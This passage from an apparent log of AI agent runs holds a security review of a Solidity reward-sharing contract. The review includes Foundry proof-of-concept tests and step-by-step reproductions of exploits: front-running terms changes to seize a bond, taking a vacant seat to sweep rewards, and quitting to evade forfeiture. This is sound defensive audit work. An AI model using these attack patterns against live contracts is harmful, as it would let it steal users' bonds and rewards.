block before a pending take lands. Economic consequence: the owner replaces oracleSigner with a key it controls, take pulls the victim's bond under the swapped terms, and the owner immediately signs a true OracleAttestation for the seat's questionHash and calls cutByOracle, which pays the whole bond to s.owner (line 346). The victim has no defence: it inspected honest terms, approved exactly bondAmount, and lost it to a private key it never trusted. The same window also lets the owner raise bondAmount (drained from a max approval), set ownerBps to 10000, or swap questionHash. Any address can list a seat, so the attacker is unprivileged with respect to the registry. Fix must preserve the design: either take(tokenId, bytes32 termsHash) that reverts unless keccak256(abi.encode(ownerBps, mode, allowedOperator, bondAmount, oracleSigner, questionHash)) matches storage, or a terms-activation delay so take reverts while block.timestamp < termsUpdatedAt + DELAY. Both keep owner-set terms and Open/Permissioned modes intact.","line":280,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev take(tokenId) does not bind the caller to the terms it inspected. The seat owner can change every term\n///      (oracleSigner, ownerBps, bondAmount, questionHash) with setTerms in the block before take lands, and take\n///      still pulls the bond under the new terms. With oracleSigner swapped to a key the owner controls, the owner\n///      immediately forfeits the operator's bond to itself through cutByOracle.\n///      Fails on the current code (the operator loses the whole bond). Passes once take refuses to seat an\n///      operator under terms other than the ones it agreed to (terms hash / explicit parameters / terms delay).\ncontract TakeTermsFrontRunProof is Test {\n    bytes32 constant EIP712_DOMAIN_TYPEHASH =\n        keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n\n    address attacker = makeAddr(\"attacker\"); // lists the seat\n    address victim = makeAddr(\"victim\"); // takes it\n    address networkOracle = makeAddr(\"network-oracle\");\n    uint256 attackerKey;\n    address attackerSigner;\n\n    uint256 constant TOKEN_ID = 1;\n    uint256 constant BOND = 100e18;\n    bytes32 constant QUESTION = keccak256(\"did the operator misbehave?\");\n\n    function setUp() public {\n        (attackerSigner, attackerKey) = makeAddrAndKey(\"attacker-signer\");\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(attacker, TOKEN_ID);\n        bond.mint(victim, BOND);\n        vm.warp(1_800_000_000);\n    }\n\n    function test_takeIsNotBoundToInspectedTerms_bondIsStolen() public {\n        // 1. The attacker lists an Open seat whose oracle is the real network oracle. The victim inspects it.\n        vm.startPrank(attacker);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, networkOracle, QUESTION, \"honest seat\");\n        vm.stopPrank();\n        assertEq(lease.seat(TOKEN_ID).oracleSigner, networkOracle);\n\n        // 2. The victim approves exactly the listed bond and submits take(1).\n        vm.prank(victim);\n        bond.approve(address(lease), BOND);\n\n        // 3. Front-run: before take lands, the attacker swaps the oracle signer for a key it controls.\n        vm.prank(attacker);\n        lease.setTerms(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, attackerSigner, QUESTION, \"honest seat\");\n\n        // 4. The victim's take(1) executes against the swapped terms. Called through the raw selector so this\n        //    proof compiles whether the fix keeps `take(uint256)` (reverting here) or changes its signature.\n        vm.prank(victim);\n        (bool taken,) = address(lease).call(abi.encodeWithSignature(\"take(uint256)\", TOKEN_ID));\n\n        // 5. If the victim got seated, the attacker signs a \"true\" attestation with its own key and forfeits the bond.\n        if (taken) {\n            SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({\n                requestId: keccak256(\"req\"),\n                chainId: block.chainid,\n                questionHash: QUESTION,\n                answerType: lease.ANSWER_TYPE_BOOL(),\n                answer: abi.encode(true),\n                figure: 0,\n                fromBlock: 0,\n                toBlock: uint64(block.number),\n                blockHash: bytes32(0),\n                panelJobId: bytes32(0),\n                issuedAt: uint64(block.timestamp),\n                expiresAt: uint64(block.timestamp + 1 hours)\n            });\n            (uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerKey, lease.hashOracleAttestation(att));\n            lease.cutByOracle(TOKEN_ID, att, abi.encodePacked(r, s, v));\n        }\n\n        // The victim only ever agreed to be judged by the network oracle. Under a correct take it must either not\n        // be seated (terms changed) or keep its bond. On the current code the attacker holds the whole bond.\n        assertEq(bond.balanceOf(victim), BOND, \"victim lost its bond to terms it never agreed to\");\n        assertEq(bond.balanceOf(attacker), 0, \"attacker collected the victim's bond\");\n    }\n}","reproduction":"State: attacker owns seat 1; victim holds 100e18 bond token. 1) attacker: deposit(1, 5000, Open, 0, 100e18, networkOracle, Q, ''). 2) victim inspects seat(1).oracleSigner == networkOracle, approves 100e18, submits take(1). 3) attacker front-runs with setTerms(1, 5000, Open, 0, 100e18, attackerSigner, Q, ''). 4) victim's take(1) succeeds: bondHeld = 100e18, operator = victim. 5) attacker signs OracleAttestation{requestId, chainId=block.chainid, questionHash=Q, answerType=1, answer=abi.encode(true), expiresAt=now+1h} with attackerSigner and calls cutByOracle(1, att, sig). Expected: take must not seat the victim under terms it did not agree to (revert), so the victim keeps 100e18. Actual: cutByOracle succeeds, bond.balanceOf(attacker) == 100e18, bond.balanceOf(victim) == 0. Proof test test/scratch/TakeTermsFrontRun.t.sol fails with 'victim lost its bond to terms it never agreed to: 0 != 100000000000000000000'.","severity":"high","snippet":"    function take(uint256 tokenId) external nonReentrant {\n        Seat storage s = _seats[tokenId];\n        if (s.owner == address(0)) revert SeatNotDeposited(tokenId);\n        if (s.operator != address(0)) revert SeatNotVacant(tokenId);","title":"take() does not bind the operator to the terms it inspected; owner front-runs setTerms and forfeits the bond to itself"},{"citation":"resolved","description":"Booked balances carry no record of who was seated when they were booked. sweep() applies the current operator and current ownerBps to the entire _credited[tokenId][token] balance. The stated rule 'all to owner if vacant' is evaluated at sweep time, not at booking time, so rewards credited to a vacant seat (by credit(), or by the owner's own claim()) become claimable by whoever takes the seat next. Atomic extraction: take(tokenId) + sweep(tokenId, token) in one transaction; the taker's bond is untouched and can be recovered with quit() afterwards (nothing prevents quitting in the same block). Cost: gas plus temporary bond capital. Profit: (10000 - ownerBps)/10000 of every unswept balance of the seat, for every token. A bot watching Credited/Booked events on vacant Open seats does this reliably; the owner cannot pre-empt it because credit() is permissionless and can land in the same block as the take. The accepted Low in REVIEW.md ('unswept balances survive withdraw and go to the next depositor') is the same root cause. This also breaks the invariant the tests claim to check (invariant_sweptNeverExceedsCredited holds in aggregate but not per beneficiary). Fix, preserving the split model: attribute at booking time. In _book, split amount into an owner part and an operator part using the operator and ownerBps in force at that moment (vacant => all owner), keep _creditedOwner[tokenId][token], _creditedOperator[tokenId][token][operator] (or a per-tenure accumulator), and have sweep pay each part to its recorded beneficiary. ownerBps/operator changes then only affect future bookings.","line":441,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev sweep() splits the whole booked balance by the operator seated at sweep time. Nothing ties a booked\n///      amount to the operator (or vacancy) under which it was booked. So anyone can take a vacant Open seat that\n///      carries an unswept balance and immediately sweep (1 - ownerBps) of rewards booked before they existed,\n///      then quit for their bond. Atomic, unprivileged, cost = gas.\n///      Fails on the current code (the taker pockets half of the pre-existing balance). Passes once booked\n///      amounts are attributed at booking time (balances booked while vacant belong entirely to the owner).\ncontract TakeSweepExtractionProof is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    MockERC20 reward;\n    SeatLease lease;\n\n    address owner = makeAddr(\"owner\");\n    address payer = makeAddr(\"payer\");\n    address attacker = makeAddr(\"attacker\");\n\n    uint256 constant TOKEN_ID = 1;\n    uint256 constant BOND = 100e18;\n    uint256 constant REWARD = 1_000e18;\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        reward = new MockERC20(\"Reward\", \"RWD\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        bond.mint(attacker, BOND);\n        reward.mint(payer, REWARD);\n        vm.warp(1_800_000_000);\n    }\n\n    function test_takerSweepsRewardsBookedBeforeItTookTheSeat() public {\n        // 1. Owner lists an Open seat at a 50/50 split. The seat is vacant.\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n\n        // 2. 1_000 reward tokens are booked to the seat while it is vacant. Under the stated rule (\"all to owner if\n        //    vacant\") this balance belongs to the owner.\n        vm.startPrank(payer);\n        reward.approve(address(lease), REWARD);\n        lease.credit(TOKEN_ID, address(reward), REWARD);\n        vm.stopPrank();\n        assertEq(lease.credited(TOKEN_ID, address(reward)), REWARD);\n\n        // 3. In one transaction the attacker takes the seat and sweeps it.\n        vm.startPrank(attacker);\n        bond.approve(address(lease), BOND);\n        lease.take(TOKEN_ID);\n        lease.sweep(TOKEN_ID, address(reward));\n        vm.stopPrank();\n\n        // The attacker did no work under this seat and the rewards were booked while it was vacant: none of them\n        // may be paid to the attacker. On the current code the attacker receives 500e18.\n        assertEq(reward.balanceOf(attacker), 0, \"taker was paid rewards booked before it took the seat\");\n        assertEq(reward.balanceOf(owner), REWARD, \"owner lost rewards booked to a vacant seat\");\n    }\n}","reproduction":"State: owner deposits seat 1 as Open, ownerBps=5000, bondAmount=100e18, seat vacant. payer calls credit(1, reward, 1000e18): credited(1, reward)=1000e18 while vacant, so all of it belongs to the owner under the stated rule. attacker (never seated before) in one tx: bond.approve(lease, 100e18); take(1); sweep(1, reward). Expected: attacker receives 0 reward (it was booked while vacant), owner receives 1000e18. Actual: reward.balanceOf(attacker) == 500e18, reward.balanceOf(owner) == 500e18. Attacker then calls quit(1) and gets its 100e18 bond back. Proof test test/scratch/TakeSweepExtraction.t.sol fails with 'taker was paid rewards booked before it took the seat: 500000000000000000000 != 0'.","severity":"high","snippet":"        uint256 ownerAmount = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;","title":"sweep() splits by the operator seated at sweep time, so anyone can take a vacant Open seat and pocket (1 - ownerBps) of rewards booked before they existed"},{"citation":"resolved","description":"Mirror of the previous finding, from the owner side. cut() (lines 309-316) clears the operator at any time and sweep() then pays 100% of every booked balance to the owner, including balances booked while the operator was seated and working. The operator's only defence is to sweep first, but the rewards the design is built around ('per-launch distributors that pay the holder') can only be pulled with claim(), which is owner-only (line 397). The owner therefore cuts first and claims afterwards, and the operator can never force those rewards to be booked during its tenure. This is the retroactive-sweep amplifier (an admin action rewrites who receives a value already credited), not a plain trust assumption: it converts the promised split into 'owner pays the operator if it feels like it'. An owner who deposited from a contract that rejects ETH (or is blocklisted for the reward token) reaches the same outcome by a second path: sweep reverts on the owner's push (line 445) so the operator can never be paid, and after cut/withdraw/re-deposit from a fresh address the owner sweeps 100%. Fix (same as the previous finding): attribute booked amounts to the operator seated at booking time and pay the recorded beneficiary on sweep regardless of who is seated later; and/or let the current operator call claim() for its seat so distributor rewards can be booked during its tenure (claim already guards the NFT and booked balances, so the target-call surface does not grow).","line":440,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\nimport {MockDistributor} from \"src/mocks/MockDistributor.sol\";\n\n/// @dev The mirror of the take-then-sweep extraction: the owner can retroactively take the operator's share of\n///      rewards that were booked while the operator was seated, by calling cut() before sweep(). Worse, rewards\n///      that distributors pay the holder can only be pulled with claim(), which is owner-only, so the owner can\n///      simply cut first and claim afterwards: the operator can never force those rewards to be booked while it\n///      is seated.\n///      Fails on the current code (operator receives 0 of a 50/50 seat). Passes once booked amounts are\n///      attributed to the operator seated at booking time, or once the operator may call claim for its seat.\ncontract CutThenSweepProof is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    MockERC20 reward;\n    MockDistributor distributor;\n    SeatLease lease;\n\n    address owner = makeAddr(\"owner\");\n    address operator = makeAddr(\"operator\");\n    address payer = makeAddr(\"payer\");\n\n    uint256 constant TOKEN_ID = 1;\n    uint256 constant REWARD = 1_000e18;\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        reward = new MockERC20(\"Reward\", \"RWD\");\n        distributor = new MockDistributor(address(reward));\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        reward.mint(payer, REWARD);\n        vm.warp(1_800_000_000);\n    }\n\n    function test_ownerCutsBeforeSweepAndKeepsTheOperatorsShare() public {\n        // 1. Permissioned 50/50 seat; the operator takes it and runs the seat.\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Permissioned, operator, 0, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n        vm.prank(operator);\n        lease.take(TOKEN_ID);\n\n        // 2. 1_000 reward tokens are booked to the seat while the operator is seated.\n        vm.startPrank(payer);\n        reward.approve(address(lease), REWARD);\n        lease.credit(TOKEN_ID, address(reward), REWARD);\n        vm.stopPrank();\n        assertEq(lease.seat(TOKEN_ID).operator, operator);\n        assertEq(lease.credited(TOKEN_ID, address(reward)), REWARD);\n\n        // 3. The owner cuts the operator, then anyone sweeps: the seat is vacant, so everything goes to the owner.\n        vm.prank(owner);\n        lease.cut(TOKEN_ID);\n        lease.sweep(TOKEN_ID, address(reward));\n\n        // Half of the balance was booked under the operator's tenure and belongs to the operator.\n        assertEq(reward.balanceOf(operator), REWARD / 2, \"operator's share of rewards booked while seated was taken\");\n        assertEq(reward.balanceOf(owner), REWARD / 2);\n    }\n}","reproduction":"State: owner deposits seat 1 Permissioned, ownerBps=5000, allowedOperator=operator; operator calls take(1). payer calls credit(1, reward, 1000e18) while operator is seated: credited(1, reward)=1000e18. owner calls cut(1); anyone calls sweep(1, reward). Expected: operator receives 500e18 (its half of a balance booked during its tenure). Actual: reward.balanceOf(operator) == 0, reward.balanceOf(owner) == 1000e18. Variant with distributor rewards: distributor.setReward(lease, 1000e18, 0); operator cannot call claim (NotSeatOwner); owner calls cut(1) then claim(1, distributor, claim(), [reward]) then sweep: operator receives 0. Proof test test/scratch/CutThenSweep.t.sol fails with 'operator's share of rewards booked while seated was taken: 0 != 500000000000000000000'.","severity":"medium","snippet":"        address operator = s.operator;\n        uint256 ownerAmount = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;\n        uint256 operatorAmount = amount - ownerAmount;","title":"Owner takes the operator's earned share by calling cut() before sweep(); claim() being owner-only makes this unavoidable for distributor rewards"},{"citation":"resolved","description":"The bond's only economic purpose is to be forfeited to the owner when the oracle attests misbehaviour (cutByOracle, lines 320-347). But quit() returns the bond immediately and unconditionally, and cutByOracle reverts with SeatVacant (line 327) once the operator is gone. Attestations are produced off-chain, signed, and then submitted by 'anyone'; the operator sees the signed attestation (public oracle feed, or the cutByOracle transaction in the mempool) and calls quit() first. The attestation is then worthless: the owner recovers nothing, and in Open mode the same operator can even re-take the seat with a fresh bond in the same block. The cost to the operator is gas; the value protected is the whole bond. Fix, with a scope decision for the requester because the task text says quit 'returns bond': make the bond survive quit for a notice period, e.g. quit() moves bondHeld into a per-seat pendingBond with releaseAt = now + NOTICE and clears the operator; redeemBond()/a finalize call pays it after releaseAt; cutByOracle accepts a seat whose pendingBond is still locked (operator recorded as lastOperator) and forfeits it to the owner. cut() by the owner can keep returning the bond immediately, since the owner is the beneficiary of forfeiture.","line":300,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev The bond exists to be forfeited when the oracle attests the operator misbehaved. But quit() returns the\n///      bond immediately and unconditionally, and cutByOracle requires an operator. An operator that sees the\n///      attestation (mempool, or the oracle's public feed) calls quit() first; cutByOracle then reverts with\n///      SeatVacant and the owner collects nothing. The forfeiture guarantee is evadable at the cost of gas.\n///      Fails on the current code (owner ends with 0 bond). Passes once a bond stays forfeitable for a notice\n///      period after quit (quit escrows the bond; cutByOracle may still forfeit it during the window).\ncontract QuitFrontRunsOracleCutProof is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n\n    address owner = makeAddr(\"owner\");\n    address operator = makeAddr(\"operator\");\n    address oracle;\n    uint256 oracleKey;\n\n    uint256 constant TOKEN_ID = 1;\n    uint256 constant BOND = 100e18;\n    bytes32 constant QUESTION = keccak256(\"did the operator misbehave?\");\n\n    function setUp() public {\n        (oracle, oracleKey) = makeAddrAndKey(\"oracle\");\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        bond.mint(operator, BOND);\n        vm.warp(1_800_000_000);\n    }\n\n    function test_operatorQuitsAheadOfTheAttestationAndKeepsTheBond() public {\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, oracle, QUESTION, \"\");\n        vm.stopPrank();\n        vm.startPrank(operator);\n        bond.approve(address(lease), BOND);\n        lease.take(TOKEN_ID);\n        vm.stopPrank();\n        assertEq(bond.balanceOf(operator), 0);\n\n        // The oracle answers the seat's question with true: the operator misbehaved and the bond is forfeit.\n        SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({\n            requestId: keccak256(\"req\"),\n            chainId: block.chainid,\n            questionHash: QUESTION,\n            answerType: lease.ANSWER_TYPE_BOOL(),\n            answer: abi.encode(true),\n            figure: 0,\n            fromBlock: 0,\n            toBlock: uint64(block.number),\n            blockHash: bytes32(0),\n            panelJobId: bytes32(0),\n            issuedAt: uint64(block.timestamp),\n            expiresAt: uint64(block.timestamp + 1 hours)\n        });\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(oracleKey, lease.hashOracleAttestation(att));\n        bytes memory sig = abi.encodePacked(r, s, v);\n\n        // The operator sees the attestation and quits in the same block, before cutByOracle is mined.\n        vm.prank(operator);\n        lease.quit(TOKEN_ID);\n\n        // The owner's cutByOracle is now a no-op (or a revert); it is submitted through a raw call so the proof\n        // records the outcome instead of aborting.\n        (bool ok,) = address(lease).call(abi.encodeCall(SeatLease.cutByOracle, (TOKEN_ID, att, sig)));\n        ok; // outcome is irrelevant: what matters is where the bond ended up\n\n        // A valid, unexpired, unused attestation existed before the operator left. The bond it condemns must\n        // reach the owner, not return to the operator. On the current code the operator holds all of it.\n        assertEq(bond.balanceOf(owner) + lease.bondOwed(owner), BOND, \"forfeited bond never reached the owner\");\n        assertEq(bond.balanceOf(operator), 0, \"operator evaded forfeiture by quitting first\");\n    }\n}","reproduction":"State: owner deposits seat 1 Open, bondAmount=100e18, oracleSigner=oracle; operator takes it (bondHeld=100e18, operator bond balance 0). Oracle signs OracleAttestation{requestId=keccak('req'), chainId=block.chainid, questionHash=Q, answerType=1, answer=abi.encode(true), expiresAt=now+1h}. Before cutByOracle(1, att, sig) is mined, operator calls quit(1): bond.balanceOf(operator) == 100e18, seat vacant. cutByOracle(1, att, sig) then reverts SeatVacant(1). Expected: a valid, unexpired, unused attestation issued while the operator was seated forfeits the bond to the owner (owner ends with 100e18). Actual: owner has 0, bondOwed(owner) == 0, operator keeps 100e18. Proof test test/scratch/QuitFrontRunsOracleCut.t.sol fails with 'forfeited bond never reached the owner: 0 != 100000000000000000000'.","severity":"medium","snippet":"    function quit(uint256 tokenId) external nonReentrant {\n        Seat storage s = _seats[tokenId];\n        if (msg.sender != s.operator) revert NotOperator(tokenId, msg.sender);\n        uint256 held = _clearOperator(s);\n        emit SeatQuit(tokenId, msg.sender, held);\n        _payBond(msg.sender, held);","title":"Bond forfeiture is evadable: operator front-runs cutByOracle with quit() and takes the bond back"},{"citation":"resolved","description":"claim() books only the balance delta measured across its own target.call, credit() books only what it pulls from msg.sender, and there is no other booking path. Any reward that arrives by another route (a distributor whose claim(account, ...) is permissionless and pays `account`, an airdrop, a direct transfer by the network's ops wallet, ETH forced in by selfdestruct) sits in the registry with totalCredited unchanged and is unreachable forever: sweep reverts ZeroAmount, a later claim() measures a zero delta, and no admin exists to recover it. Merkle-style distributors (Uniswap's MerkleDistributor pattern, which the network's reserved MerkleDistributor artifact most likely follows) let anyone submit the claim for any account, so a griefer, a helpful bot, or the operator itself can permanently strand every reward a seat is owed at the cost of one transaction. This is a periphery x first-principles seam: the contract's whole purpose is to receive and split rewards paid to the holder, and the periphery is not obliged to pay only during a call the owner initiates. Fix: add a booking path for unattributed surplus. The registry already knows totalCredited[token]; track totalBondHeld and totalBondOwed as sums, and add skim(tokenId, token) callable by the seat owner (or anyone, booking to the seat named) that books balanceOf(this) - totalCredited[token] - (token == bondToken ? totalBondHeld + totalBondOwed : 0) - (token == 0 ? 0 : 0). Attribution among several seats is a policy choice (first come, or the distributor's own per-holder view); either is better than permanent loss. Document the residual assumption in the README if push distributors are declared unsupported.","line":419,"path":"src/SeatLease.sol","reproduction":"State: owner deposits seat 1; a distributor D with claim(address account) pays reward[account] to account; D.setReward(lease, 1000e18). griefer calls D.claim(lease): reward.balanceOf(lease) == 1000e18, credited(1, reward) == 0, totalCredited(reward) == 0. owner calls claim(1, D, claim(lease), [reward]): delta during the call is 0, credited stays 0. sweep(1, reward) reverts ZeroAmount. Expected: the 1000e18 the network paid the seat holder is bookable to seat 1 and sweepable by the owner/operator split. Actual: no function can ever move it; test/scratch/PushedRewardsStuck.t.sol reproduces the end state (passes as an exploration test, asserting the balance is stuck).","severity":"medium","snippet":"            uint256 afterwards = _balanceOf(tokens[i]);\n            if (afterwards < before[i]) revert BookedBalanceDecreased(tokens[i], before[i], afterwards);\n            uint256 gained = afterwards - before[i];\n            if (gained != 0) _book(tokenId, tokens[i], gained);","title":"Rewards that reach the registry outside credit()/claim() can never be booked or swept; anyone can force this on distributors with third-party claims"},{"citation":"resolved","description":"deposit() pulls the NFT with safeTransferFrom(msg.sender, this) which checks the registry's hook, not the depositor's. withdraw() returns it with safeTransferFrom(this, msg.sender), which requires msg.sender (the depositor) to implement onERC721Received. A contract wallet that owned the seat through a plain transferFrom/mint (custom vaults, minimal multisigs, contracts using exec-style forwarding) deposits fine and is then permanently unable to withdraw: there is no recipient parameter and no other path moves the NFT. Self-inflicted, but permanent and easy to hit. Fix: withdraw(tokenId) should use transferFrom(address(this), msg.sender, tokenId) (the caller proved custody by depositing), or accept an explicit recipient (withdraw(tokenId, to)) and use safeTransferFrom to that address.","line":355,"path":"src/SeatLease.sol","reproduction":"PlainWallet W (no onERC721Received) owns seat 1. W.exec(nft.approve(lease, 1)); W.exec(lease.deposit(1, 5000, Open, 0, 0, 0, 0, '')): succeeds, nft.ownerOf(1) == lease. W.exec(lease.withdraw(1)): reverts inside ERC721 with ERC721InvalidReceiver(W). Expected: the depositor can always take back a vacant seat. Actual: the seat is stuck in the registry forever. test/scratch/WithdrawToNonReceiver.t.sol reproduces it.","severity":"low","snippet":"        seatNFT.safeTransferFrom(address(this), msg.sender, tokenId);","title":"withdraw() uses safeTransferFrom to msg.sender, so a contract owner without onERC721Received can deposit but never withdraw its seat"},{"citation":"resolved","description":"_pay reverts the whole sweep when the ETH call to either party fails (line 678) or when SafeERC20 reverts (blocklisted recipient). Bonds got an escrow (bondOwed / redeemBond) precisely so a failed push never freezes a seat; reward payouts did not. Consequences: (a) an owner that rejects ETH or is blocklisted for a reward token freezes the operator's share of that token for as long as the owner chooses, and the operator has no remedy other than quitting (and losing the share, see finding 3); (b) an operator that rejects ETH forces the owner to cut it (tests accept this), which again pays 100% to the owner. Fix: on a failed push, credit the amount to a per-account owed mapping (as bondOwed does) and let the recipient pull it with a redeem call; keep the push as the fast path.","line":445,"path":"src/SeatLease.sol","reproduction":"State: owner is EthRejecter E (receive reverts); E deposits seat 1 Open ownerBps=5000; operator takes; stranger credit{value: 1 ether}(1, address(0), 1 ether). sweep(1, address(0)) reverts EthTransferFailed(E, 0.5 ether). Expected: the operator's 0.5 ether is payable independently of the owner's ability to receive. Actual: the operator's ETH share is unreachable until E moves the NFT to a fresh address and re-deposits, after which a vacant sweep pays E 100% (test_sweep_revertsWhenOwnerRejectsEth in test/SeatLease.rewards.t.sol shows the revert).","severity":"low","snippet":"        _pay(token, owner, ownerAmount);\n        _pay(token, operator, operatorAmount);","title":"sweep() pushes to owner and operator with no escrow fallback, so a recipient that cannot receive blocks the other party's share"},{"citation":"resolved","description":"Outside the economics area, noted for completeness. The task requires a README covering every function, event and error, the exact isValidSignature encoding with a worked example, the pairing flow, the oracle cut model and mainnet steps, plus a recorded local Anvil deployment with addresses, tx hashes and blocks. git ls-files shows no README.md at the repository root (only lib/ READMEs) and no broadcast/ or deployment record. The operator-facing trust assumptions surfaced above (owner can change terms while vacant, owner chooses the oracle signer, owner can cut at any time and claim afterwards) have nowhere to be documented for operators until it exists.","line":20,"path":"script/Deploy.s.sol","reproduction":"Run `git ls-files | grep -i readme` at the repository root: only lib/forge-std/README.md and lib/openzeppelin-contracts/... are listed. `ls broadcast` fails. Expected per the task: README.md and deployment records committed. Actual: absent.","severity":"info","snippet":"/// The RPC endpoint is given on the command line: `forge script script/Deploy.s.sol --rpc-url $RPC_URL --broadcast`.","title":"Deliverables missing from the tree: no README and no recorded Anvil deployment (addresses, tx hashes, blocks)"}],"hash":"6a782c45a5f18d4378c411a9c1dae615cfd2dd3319f5775b5ce64bb76950a942","nodeId":"8910f306-f3ca-47af-bd6d-9eea15906dc3","outcome":"completed","summary":"The review is complete. Findings are written to `.imd-findings.json` with eight entries and coverage rows for all fifteen listed entry points plus three invariants. Only that file and the throwaway tests under `test/scratch/` were created; no project files were changed.\n\n**Findings, by severity**\n\n- **High, `take` is not bound to the terms the operator inspected.** The seat owner can call `setTerms` in the block before a pending `take` lands, swap the oracle signer for a key it controls, then forfeit the newly posted bond to itself with a self-signed attestation. Proof test fails on the current code with the victim losing the whole 100e18 bond.\n- **High, `sweep` splits by whoever is seated at sweep time.** Anyone can take a vacant Open seat that carries an unswept balance and immediately sweep half of rewards booked before they existed, then quit for their bond. Proof test shows the taker pocketing 500e18 of a 1000e18 balance booked while vacant.\n- **Medium, owner cuts then sweeps.** The mirror of the above: `cut` at any time re-routes rewards booked during the operator's tenure to the owner, and since `claim` is owner-only the operator cannot force distributor rewards to be booked while seated. Proof test shows the operator receiving zero on a 50/50 seat.\n- **Medium, bond forfeiture is evadable.** An operator who sees an attestation calls `quit` first, gets the bond back, and `cutByOracle` reverts with a vacant seat. Proof test shows the owner ending with nothing.\n- **Medium, pushed rewards are stranded forever.** Any reward reaching the registry outside `credit` or the owner's own `claim` call, such as a third-party claim on a permissionless Merkle distributor, can never be booked or swept. Reproduced with an exploration test.\n- **Low, contract owners without an ERC-721 receiver hook can deposit but never withdraw.** Reproduced.\n- **Low, `sweep` has no escrow fallback,** so an owner that cannot receive blocks the operator's share. Bonds got an escrow; rewards did not.\n- **Info, README and deployment records are absent** from the tree.\n\n**Coverage.** Every listed entry point has a row. `credit`, `deposit`, `receive`, `redeemBond` and the three LaunchToken functions hold. The bond conservation, solvency and NFT-custody invariants hold as traced. The first two findings share one root cause, the missing booking-time attribution, and one fix resolves both.","treeHash":null,"usage":{"cachedInputTokens":1216128,"inputTokens":290,"model":"claude-fable-5-1","outputTokens":46063,"runtime":"claude","turns":34,"wallClockMs":620561}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"35c52a5b502e847c","findings":[],"hash":"6c099198093cc93615e731c65c0f13c0f869ff72a57f3d36b25ecefa52b2ec3e","nodeId":"6db709f6-b557-489b-a83a-01e483254c2a","outcome":"failed","summary":"the task produced no changes; the agent's last message was: Blocked: [SeatLease’s constructor](/home/identitymd5/.identitymd/work/23eb7fc4-5ed9-4560-9018-f4bf2abd75c4/6db709f6-b557-489b-a83a-01e483254c2a/src/SeatLease.sol:212) requires two dynamic `string` arguments, which the manifest rules prohibit. NFT and bond-token addresses are also unspecified.\n\nA complete manifest requires an upstream constructor change and deployment addresses. No files changed; `launch.json` remains absent.\n\nVerification: `forge build --deny warnings` passed; all 213 tests passed.","treeHash":null,"usage":{"cachedInputTokens":355328,"inputTokens":35345,"model":"gpt-6-astra","outputTokens":3200,"runtime":"codex","turns":5,"wallClockMs":156134}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3c7630b22a73c1fb","findings":[{"citation":"resolved","description":"This is where the fix for prior finding 3804cebca773 (take+sweep extraction) stops working. credit() now books at arrival, so that path is fixed. But in the per-holder design, rewards the network pays to the seat's wallet (SeatHolder) are not booked when they arrive. They are booked when someone calls skim() (anyone, line 492-498) or the owner calls claim(), and _book splits them by the operator seated at that moment. Two things let a stranger with no history on the seat get an operator share of value that belongs to the owner under the stated rule ('all to owner if vacant'): (a) a balance already sitting in the 